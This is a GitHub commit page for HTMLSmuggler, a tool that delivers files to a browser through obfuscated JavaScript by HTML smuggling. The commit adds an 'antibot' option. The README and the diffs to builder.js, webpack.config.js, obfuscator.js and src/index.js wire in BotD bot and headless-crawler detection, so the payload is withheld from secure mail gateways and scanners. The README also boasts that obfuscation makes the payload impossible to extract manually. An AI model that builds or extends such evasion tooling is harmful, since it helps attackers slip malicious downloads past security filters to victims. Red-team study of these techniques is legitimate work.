Skip to content

Commit

Permalink
add: bot detection and blocking
Browse files Browse the repository at this point in the history
  • Loading branch information
D00Movenok committed Feb 19, 2024
1 parent 64f27e9 commit 197e252
Show file tree
Hide file tree
Showing 10 changed files with 595 additions and 190 deletions.
3 changes: 2 additions & 1 deletion .eslintrc.js
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,7 @@ module.exports = {
},
ignorePatterns: ["examples/**/payload.*.js"],
globals: {
COMPRESS: true,
CONFIG_COMPRESS: true,
CONFIG_ANTIBOT: true,
},
};
16 changes: 10 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,8 @@ The main goal of HTMLSmuggler tool is creating an independent javascript library

## Features

* Built-in highly configurable JavaScript obfuscator that fully hides your payload.
* Built-in highly configurable JavaScript obfuscator that fully hides your payload makes it impossible to extract your payload from javascript manually.
* Powerful client-side bots and headless crawlers detection library that doesn't share your payloads with smart secure mail gateways and their friends.
* May be used both as an independent JS library or embedded in JS frameworks such as React, Vue.js, etc.
* The simplicity of the template allows you to add extra data handlers/compressions/obfuscations.

Expand All @@ -40,25 +41,28 @@ The main goal of HTMLSmuggler tool is creating an independent javascript library
-t, --type <string> Contet-Type of downlonaded file (default: "application/octet-stream")
-f, --function <string> Name of exported function (default: "download")
-c, --compress Enable payload compression (gzip)
-a, --antibot Enable bot detection and block them (recommended)
-h, --help display help for command
```

## Usage

### Preparation steps

1. Modify (or use my) [javascript-obfuscator options](https://github.com/javascript-obfuscator/javascript-obfuscator#javascript-obfuscator-options) in `obfuscator.js`, my preset is nice, but very slow.
1. **(Optional)** Modify [javascript-obfuscator options](https://github.com/javascript-obfuscator/javascript-obfuscator#javascript-obfuscator-options) in `obfuscator.js`, my preset is nice, but very slow.
2. Compile your javascript payload:

> ⚠️ AVOID USAGE OF PAYLOADS BIGGER THAN 3 MiB (see [FAQ](#faq))

```bash
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c -a
```

3. Get your payload from `dist/payload.esm.js` or `dist/payload.umd.js`. After that, it may be inserted into your page and called with `download()` (or custom specified with `-f` flag) function.
> `payload.esm.js` is used in `import { download } from 'payload.esm';` imports (ECMAScript standart).
>
> `payload.umd.js` is used in html script SRC and `require('payload.umd');` imports (CommonJS, AMD and pure html).
> `payload.esm.js` is used in `import { download } from 'payload.esm';` imports (ECMAScript standart).
>
> `payload.umd.js` is used in html script SRC and `require('payload.umd');` imports (CommonJS, AMD and pure html).
### Pure HTML example
Expand Down
7 changes: 6 additions & 1 deletion builder.js
Original file line number Diff line number Diff line change
Expand Up @@ -21,13 +21,17 @@ program
"application/octet-stream"
)
.option("-f, --function <string>", "Name of exported function", "download")
.option("-c, --compress", "Enable payload compression (gzip)");
.option("-c, --compress", "Enable payload compression (gzip)")
.option("-a, --antibot", "Enable bot detection and block them (recommended)");

program.parse();

console.log("Using payload:", program.opts().payload);
console.log("Using filename:", program.opts().name);
console.log("Using Content-Type:", program.opts().type);
console.log("Exported function:", program.opts().function);
console.log("Compression:", program.opts().compress);
console.log("Antibot:", program.opts().antibot);

const dst = "src/assets/payload.bin";
fs.readFile(program.opts().payload, { encoding: "latin1" }, (err, data) => {
Expand All @@ -48,6 +52,7 @@ fs.readFile(program.opts().payload, { encoding: "latin1" }, (err, data) => {
filename: program.opts().name,
funcname: program.opts().function,
compress: program.opts().compress,
antibot: program.opts().antibot,
})
);
compiler.run((err3, stats) => {
Expand Down
2 changes: 1 addition & 1 deletion examples/html/payload.umd.js

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion examples/vuejs/payload.esm.js

Large diffs are not rendered by default.

3 changes: 2 additions & 1 deletion obfuscator.js
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,8 @@ module.exports = {
renameGlobals: false,
renameProperties: true,
renamePropertiesMode: "safe",
reservedNames: [],
// NOTE: dirty fix to make BotD work with obfuscator
reservedNames: ["sent", "trys"],
reservedStrings: [],
seed: 0,
selfDefending: true,
Expand Down
3 changes: 2 additions & 1 deletion package.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
{
"name": "html-smuggler",
"version": "1.0.1",
"version": "1.1.0",
"description": "Payload delivery using HTML smuggling",
"private": true,
"repository": {
Expand Down Expand Up @@ -28,6 +28,7 @@
"webpack-obfuscator": "^3.5.1"
},
"dependencies": {
"@fingerprintjs/botd": "^1.9.0",
"fflate": "^0.8.0"
}
}
25 changes: 22 additions & 3 deletions src/index.js
Original file line number Diff line number Diff line change
@@ -1,10 +1,29 @@
import { load } from "@fingerprintjs/botd";
import { decompressSync, strToU8 } from "fflate";

import payload from "./assets/payload.bin";
import { download as down } from "./utils";

export function dontRemoveFunctionName() {
export async function dontChangeFunctionName() {
// antibot
if (CONFIG_ANTIBOT) {
let isBot = false;
await load({
monitoring: false,
})
.then((botd) => botd.detect())
.then((result) => {
// dirty hack to bypass obfuscator renameProperties
isBot = Object.values(result).some((val) => val === true);
})
.catch(() => {});
if (isBot) {
return;
}
}

// data decompressing and downloading
let data = strToU8(payload, true);
data = COMPRESS ? decompressSync(data) : data;
down(data, "dont_remove_filename_var", "dont_remove_content_type_var");
data = CONFIG_COMPRESS ? decompressSync(data) : data;
down(data, "dont_change_filename_var", "dont_change_content_type_var");
}
15 changes: 9 additions & 6 deletions webpack.config.js
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ const webpack = require("webpack");
const WebpackObfuscator = require("webpack-obfuscator");
const obfuscatorOptions = require("./obfuscator");

module.exports = ({ filename, filetype, funcname, compress }) => {
module.exports = ({ filename, filetype, funcname, compress, antibot }) => {
const commonConfig = {
mode: "production",
performance: {
Expand All @@ -14,15 +14,16 @@ module.exports = ({ filename, filetype, funcname, compress }) => {
entry: "./src/index.js",
module: {
rules: [
// NOTE: used because webpack.DefinePlugin globals obfuscation issues
// NOTE: Defines string names,
// used because webpack.DefinePlugin globals obfuscation issues.
{
test: /\.js$/,
loader: "string-replace-loader",
options: {
multiple: [
{ search: "dont_remove_filename_var", replace: filename },
{ search: "dont_remove_content_type_var", replace: filetype },
{ search: "dontRemoveFunctionName", replace: funcname },
{ search: "dont_change_filename_var", replace: filename },
{ search: "dont_change_content_type_var", replace: filetype },
{ search: "dontChangeFunctionName", replace: funcname },
],
},
},
Expand All @@ -41,8 +42,10 @@ module.exports = ({ filename, filetype, funcname, compress }) => {
],
},
plugins: [
// NOTE: Defines boolean globals to change execution flow.
new webpack.DefinePlugin({
COMPRESS: JSON.stringify(compress),
CONFIG_COMPRESS: JSON.stringify(compress),
CONFIG_ANTIBOT: JSON.stringify(antibot),
}),
],
};
Expand Down
Loading

0 comments on commit 197e252

Please sign in to comment.